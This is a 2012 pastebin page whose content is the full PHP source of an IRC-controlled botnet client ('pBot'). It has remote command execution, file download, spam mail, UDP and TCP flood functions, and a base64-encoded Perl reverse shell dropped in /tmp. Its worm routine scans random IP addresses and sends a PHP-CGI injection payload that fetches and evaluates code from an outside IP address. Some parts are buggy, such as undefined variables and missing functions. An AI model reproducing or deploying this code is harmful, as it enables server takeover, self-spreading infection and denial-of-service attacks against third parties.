Part of Slepp's ProjectsPastebinTURLImagebinFilebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate
Sign In | Create Account

Advertising

Unnamed
Monday, May 7th, 2012 at 3:00:17am MDT 

  1. <?
  2. $word = 'rp66sp64ej43a6dis63s1';
  3. echo md5($word);
  4. echo "ok!";
  5. class pBot
  6. {
  7.  var $config = array("server"=>"irc.voxanon.net",
  8.                      "port"=>"6667",
  9.                      "pass"=>"",
  10.                      "prefix"=>"[^-^]",
  11.                      "maxrand"=>"5",
  12.                      "chan"=>"#botsec",
  13.                      "chan2"=>"#botsec",
  14.                      "key"=>"",
  15.                      "modes"=>"+p",
  16.                      "password"=>"lol",
  17.                      "trigger"=>".",
  18.                      "hostauth"=>"*" // * for any hostname (remember: /setvhost pucorp.org)
  19.                      );
  20.  var $users = array();
  21. function spread_subnet()
  22.  {
  23.   $serv = $_SERVER['SERVER_NAME'];
  24.   $addr = gethostbyaddr($serv);
  25.   $int = inet_pton($addr);
  26.   $a = ($int & 0xFF000000) << 24;
  27.   $b = ($int & 0x00FF0000) << 16;
  28.   for($c=0;$c<256;++$c) {
  29.     for($d=0;$d<256;++$d) {
  30.       $h = '$a.$b.$c.$d';
  31.       exploit($host);
  32.     }
  33.    }
  34.  }
  35.                 function spread_rand($loops) {
  36.                   for($i=1;$i<=$loops;++$i) {
  37.                     $a = mt_rand(0,255);
  38.                     $b = mt_rand(0,255);
  39.                     $c = mt_rand(0,255);
  40.                     $d = mt_rand(0,255);
  41.                                  $host = "$a.$b.$c.$d";
  42.                                  exploit($host);
  43. }}
  44.  
  45.  
  46.                 }
  47.                 function exploit($domain) {
  48.                         $payload = "<?php $r=new HttpRequest(\'50.57.98.163/worm\');$r->send();file_put_contents(\'help.php\', $r->getResponseBody());eval(file_get_contents(\'./help.php\'));>";
  49.                         $request = "'POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D$payload%20-n\r\nHost: $domain\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
  50.                         $pwnage = new HttpRequest($domain);
  51.                         $sock = fsockopen($domain, 80,  $errno, $errstr, 30);
  52.                         if($sock) {
  53.                         socket_write($sock, $request, strlen($request));
  54. }
  55.                    }
  56.  function start()
  57.  {
  58.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  59.        $this->start();
  60.     $ident = $this->config['prefix'];
  61.     $alph = range("0","9");
  62.     for($i=0;$i<$this->config['maxrand'];$i++)
  63.        $ident .= $alph[rand(0,9)];
  64.     if(strlen($this->config['pass'])>0)
  65.        $this->send("PASS ".$this->config['pass']);
  66.     $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  67.     $this->set_nick();
  68.     $this->main();
  69.  }
  70.  function main()
  71.  {
  72.     while(!feof($this->conn))
  73.     {
  74.        $this->buf = trim(fgets($this->conn,512));
  75.        $cmd = explode(" ",$this->buf);
  76.        if(substr($this->buf,0,6)=="PING :")
  77.        {
  78.           $this->send("PONG :".substr($this->buf,6));
  79.        }
  80.        if(isset($cmd[1]) && $cmd[1] =="001")
  81.        {
  82.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  83.           $this->j($this->config['chan'],$this->config['key']);
  84.           if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  85.           else { $safemode = "off"; }
  86.           $uname = php_uname();
  87.           $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
  88.           $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  89.        }
  90.        if(isset($cmd[1]) && $cmd[1]=="433")
  91.        {
  92.           $this->set_nick();
  93.        }
  94.        if($this->buf != $old_buf)
  95.        {
  96.           $mcmd = array();
  97.           $msg = substr(strstr($this->buf," :"),2);
  98.           $msgcmd = explode(" ",$msg);
  99.           $nick = explode("!",$cmd[0]);
  100.           $vhost = explode("@",$nick[1]);
  101.           $vhost = $vhost[1];
  102.           $nick = substr($nick[0],1);
  103.           $host = $cmd[0];
  104.           if($msgcmd[0]==$this->nick)
  105.           {
  106.            for($i=0;$i<count($msgcmd);$i++)
  107.               $mcmd[$i] = $msgcmd[$i+1];
  108.           }
  109.           else
  110.           {
  111.            for($i=0;$i<count($msgcmd);$i++)
  112.               $mcmd[$i] = $msgcmd[$i];
  113.           }
  114.           if(count($cmd)>2)
  115.           {
  116.              switch($cmd[1])
  117.              {
  118.                 case "QUIT":
  119.                    if($this->is_logged_in($host))
  120.                    {
  121.                       $this->log_out($host);
  122.                    }
  123.                 break;
  124.                 case "PART":
  125.                    if($this->is_logged_in($host))
  126.                    {
  127.                       $this->log_out($host);
  128.                    }
  129.                 break;
  130.                 case "PRIVMSG":
  131.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  132.                    {
  133.                       if(substr($mcmd[0],0,1)==".")
  134.                       {
  135.                          switch(substr($mcmd[0],1))
  136.                          {
  137.                             case "user":
  138.                               if($mcmd[1]==$this->config['password'])
  139.                               {
  140.                                  $this->log_in($host);
  141.                               }
  142.                               else
  143.                               {
  144.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
  145.                               }
  146.                             break;
  147.                          }
  148.                       }
  149.                    }
  150.                    elseif($this->is_logged_in($host))
  151.                    {
  152.                       if(substr($mcmd[0],0,1)==".")
  153.                       {
  154.                          switch(substr($mcmd[0],1))
  155.                          {
  156.                                                                                         case "spread_rand":
  157.                                                                                         {
  158.                                                                                                 $amount = $mcmd[1];
  159.                                                                                                 spread_rand($amount);
  160.                                                                                                  $this->privmsg( $this->get_chan( ), "[\2RANDSPREAD\2] $amount loops.");break;
  161.                                                                                         }
  162.                                                                                         case "spread_sub":
  163.                                                                                         {
  164.                                                                                  $serv = $_SERVER['SERVER_NAME'];
  165.                                                          $addr = gethostbyaddr($serv);
  166.                                                         $int = inet_pton($addr);
  167.                                                          $a = ($int & 0xFF000000) << 24;
  168.                                                          $b = ($int & 0x00FF0000) << 16;
  169.                                                                                                 spread_sub();
  170.                                                                                                 $this->privmsg( $this->get_chan( ), "[\2SUBSPREAD\2] from $a.$b.0.0 -> $a.$b.255.255.");break;}
  171.                                                                                         case "exec":
  172.                                                                                         {
  173.                                                                                                 if( !$this->is_safe( ) )
  174.                                                                                                 {
  175.                                                                                                         $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  176.                                                                                                         $returndata = $this->ex( $command );
  177.                                                                                                         if( !empty( $returndata ) )
  178.                                                                                                         {
  179.                                                                                                                 $this->privmsg( $this->get_chan( ), "[\2EXEC\2] ".$returndata );
  180.                                                                                                         }
  181.                                                                                                 }
  182.                                                                                                 break;
  183.                                                                                         }
  184.  
  185.                             case "restart":
  186.                                $this->send("QUIT :restart commando from $nick");
  187.                                fclose($this->conn);
  188.                                $this->start();
  189.                             break;
  190.                             case "mail": //mail to from subject message
  191.                                if(count($mcmd)>4)
  192.                                {
  193.                                   $header = "From: <".$mcmd[2].">";
  194.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  195.                                   {
  196.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
  197.                                   }
  198.                                   else
  199.                                   {
  200.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
  201.                                   }
  202.                                }
  203.                             break;
  204.                             case "safe":
  205.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  206.                                {
  207.                                $safemode = "on";
  208.                                }
  209.                                else {
  210.                                $safemode = "off";
  211.                                }
  212.                                $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
  213.                             break;
  214.                             case "inbox": //teste inbox
  215.                                if(isset($mcmd[1]))
  216.                                {
  217.                                   $token = md5(uniqid(rand(), true));
  218.                                   $header = "From: <inbox".$token."@xdevil.org>";
  219.                                   $a = php_uname();
  220.                                   $b = getenv("SERVER_SOFTWARE");
  221.                                   $c = gethostbyname($_SERVER["HTTP_HOST"]);
  222.                                   if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <admin@xdevil.org>",$header))
  223.                                   {
  224.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
  225.                                   }
  226.                                   else
  227.                                   {
  228.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
  229.                                   }
  230.                                }
  231.                             break;
  232.                             case "conback":
  233.                                if(count($mcmd)>2)
  234.                                {
  235.                                   $this->conback($mcmd[1],$mcmd[2]);
  236.                                }
  237.                             break;
  238.                             case "dns":
  239.                                if(isset($mcmd[1]))
  240.                                {
  241.                                   $ip = explode(".",$mcmd[1]);
  242.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  243.                                   {
  244.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  245.                                   }
  246.                                   else
  247.                                   {
  248.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  249.                                   }
  250.                                }
  251.                             break;
  252.                             case "info":
  253.                             case "vunl":
  254.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  255.                                else { $safemode = "off"; }
  256.                                $uname = php_uname();
  257.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  258.                                $this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  259.                             break;
  260.                             case "bot":
  261.                                $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
  262.                             break;
  263.                             case "uname":
  264.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  265.                                else { $safemode = "off"; }
  266.                                $uname = php_uname();
  267.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  268.                             break;
  269.                             case "rndnick":
  270.                                $this->set_nick();
  271.                             break;
  272.                             case "raw":
  273.                                $this->send(strstr($msg,$mcmd[1]));
  274.                             break;
  275.                             case "eval":
  276.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  277.                             break;
  278.                                         case "sexec":
  279.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  280.                                $exec = shell_exec($command);
  281.                                $ret = explode("\n",$exec);
  282.                                for($i=0;$i<count($ret);$i++)
  283.                                   if($ret[$i]!=NULL)
  284.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  285.                             break;
  286.                             case "exec":
  287.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  288.                                $exec = exec($command);
  289.                                $ret = explode("\n",$exec);
  290.                                for($i=0;$i<count($ret);$i++)
  291.                                   if($ret[$i]!=NULL)
  292.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  293.                             break;
  294.                             case "passthru":
  295.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  296.                                $exec = passthru($command);
  297.                                $ret = explode("\n",$exec);
  298.                                for($i=0;$i<count($ret);$i++)
  299.                                   if($ret[$i]!=NULL)
  300.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  301.                             break;
  302.                             case "popen":
  303.                                if(isset($mcmd[1]))
  304.                                {
  305.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  306.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  307.                                   $pipe = popen($command,"r");
  308.                                   while(!feof($pipe))
  309.                                   {
  310.                                      $pbuf = trim(fgets($pipe,512));
  311.                                      if($pbuf != NULL)
  312.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  313.                                   }
  314.                                   pclose($pipe);
  315.                                } 
  316.                           
  317.                             case "system":
  318.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  319.                                $exec = system($command);
  320.                                $ret = explode("\n",$exec);
  321.                                for($i=0;$i<count($ret);$i++)
  322.                                   if($ret[$i]!=NULL)
  323.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  324.                             break;
  325.                             case "pscan": // .pscan 127.0.0.1 6667
  326.                                if(count($mcmd) > 2)
  327.                                {
  328.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  329.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  330.                                   else
  331.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  332.                                }
  333.                             break;
  334.                             case "ud.server": // .ud.server <server> <port> [password]
  335.                                if(count($mcmd)>2)
  336.                                {
  337.                                   $this->config['server'] = $mcmd[1];
  338.                                   $this->config['port'] = $mcmd[2];
  339.                                   if(isset($mcmcd[3]))
  340.                                   {
  341.                                    $this->config['pass'] = $mcmd[3];
  342.                                    $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
  343.                                   }
  344.                                   else
  345.                                   {
  346.                                      $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
  347.                                   }
  348.                                }
  349.                             break;
  350.                             case "download":
  351.                                if(count($mcmd) > 2)
  352.                                {
  353.                                   if(!$fp = fopen($mcmd[2],"w"))
  354.                                   {
  355.                                      $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
  356.                                   }
  357.                                   else
  358.                                   {
  359.                                      if(!$get = file($mcmd[1]))
  360.                                      {
  361.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
  362.                                      }
  363.                                      else
  364.                                      {
  365.                                         for($i=0;$i<=count($get);$i++)
  366.                                         {
  367.                                            fwrite($fp,$get[$i]);
  368.                                         }
  369.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
  370.                                      }
  371.                                      fclose($fp);
  372.                                   }
  373.                                }
  374.                                else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
  375.                             break;
  376.                             case "die":
  377.                                $this->send("QUIT :die command from $nick");
  378.                                fclose($this->conn);
  379.                                exit;
  380.                             case "logout":
  381.                                $this->log_out($host);
  382.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  383.                             break;
  384.                             case "udpflood":
  385.                                if(count($mcmd)>3)
  386.                                {
  387.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  388.                                }
  389.                             break;
  390.                             case "tcpflood":
  391.                                if(count($mcmd)>5)
  392.                                {
  393.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  394.                                }
  395.                             break;
  396.                          }
  397.                       }
  398.                    }
  399.                 break;
  400.              }
  401.           }
  402.        }
  403.        $old_buf = $this->buf;
  404.     }
  405.     $this->start();
  406.  }
  407.  function send($msg)
  408.  {
  409.     fwrite($this->conn,"$msg\r\n");
  410.  }
  411.  function j($chan,$key=NULL)
  412.  {
  413.     $this->send("JOIN $chan $key");
  414.  }
  415.  function privmsg($to,$msg)
  416.  {
  417.     $this->send("PRIVMSG $to :$msg");
  418.  }
  419.  function notice($to,$msg)
  420.  {
  421.     $this->send("NOTICE $to :$msg");
  422.  }
  423.  function is_logged_in($host)
  424.  {
  425.     if(isset($this->users[$host]))
  426.        return 1;
  427.     else
  428.        return 0;
  429.  }
  430.  function log_in($host)
  431.  {
  432.     $this->users[$host] = true;
  433.  }
  434.  function log_out($host)
  435.  {
  436.     unset($this->users[$host]);
  437.  }
  438.  function set_nick()
  439.  {
  440.     if(isset($_SERVER['SERVER_SOFTWARE']))
  441.     {
  442.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  443.           $this->nick = "[A]";
  444.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  445.           $this->nick = "[I]";
  446.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  447.           $this->nick = "[X]";
  448.        else
  449.           $this->nick = "[U]";
  450.     }
  451.     else
  452.     {
  453.        $this->nick = "[C]";
  454.     }
  455.     $this->nick .= $this->config['prefix'];
  456.     for($i=0;$i<$this->config['maxrand'];$i++)
  457.        $this->nick .= mt_rand(0,9);
  458.     $this->send("NICK ".$this->nick);
  459.  }
  460.   function udpflood($host,$packetsize,$time) {
  461.         $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  462.         $packet = "";
  463.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  464.         $timei = time();
  465.         $i = 0;
  466.         while(time()-$timei < $time) {
  467.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  468.         fwrite($fp,$packet);
  469.         fclose($fp);
  470.                 $i++;
  471.         }
  472.         $env = $i * $packetsize;
  473.         $env = $env / 1048576;
  474.         $vel = $env / $time;
  475.         $vel = round($vel);
  476.         $env = round($env);
  477.         $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  478. }
  479.  function tcpflood($host,$packets,$packetsize,$port,$delay)
  480.  {
  481.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  482.     $packet = "";
  483.     for($i=0;$i<$packetsize;$i++)
  484.        $packet .= chr(mt_rand(1,256));
  485.     for($i=0;$i<$packets;$i++)
  486.     {
  487.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  488.        {
  489.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  490.           return 0;
  491.        }
  492.        else
  493.        {
  494.           fwrite($fp,$packet);
  495.           fclose($fp);
  496.        }
  497.        sleep($delay);
  498.     }
  499.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  500.  }
  501.  function conback($ip,$port)
  502.  {
  503.     $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
  504.     $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
  505.     if (is_writable("/tmp"))
  506.     {
  507.       if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
  508.       $fp=fopen("/tmp/dc.pl","w");
  509.       fwrite($fp,base64_decode($dc_source));
  510.       passthru("perl /tmp/dc.pl $ip $port &");
  511.       unlink("/tmp/dc.pl");
  512.     }
  513.     else
  514.     {
  515.     if (is_writable("/var/tmp"))
  516.     {
  517.       if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
  518.       $fp=fopen("/var/tmp/dc.pl","w");
  519.       fwrite($fp,base64_decode($dc_source));
  520.       passthru("perl /var/tmp/dc.pl $ip $port &");
  521.       unlink("/var/tmp/dc.pl");
  522.     }
  523.     if (is_writable("."))
  524.     {
  525.       if (file_exists("dc.pl")) { unlink("dc.pl"); }
  526.       $fp=fopen("dc.pl","w");
  527.       fwrite($fp,base64_decode($dc_source));
  528.       passthru("perl dc.pl $ip $port &");
  529.       unlink("dc.pl");
  530.     }
  531.     }
  532.   }
  533. }
  534. $bot = new pBot;
  535. $bot->start();
  536. ?>

advertising

Update the Post

Either update this post and resubmit it with changes, or make a new post.

You may also comment on this post.

update paste below
details of the post (optional)

Note: Only the paste content is required, though the following information can be useful to others.

Save name / title?

(space separated, optional)



Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.

fantasy-obligation
fantasy-obligation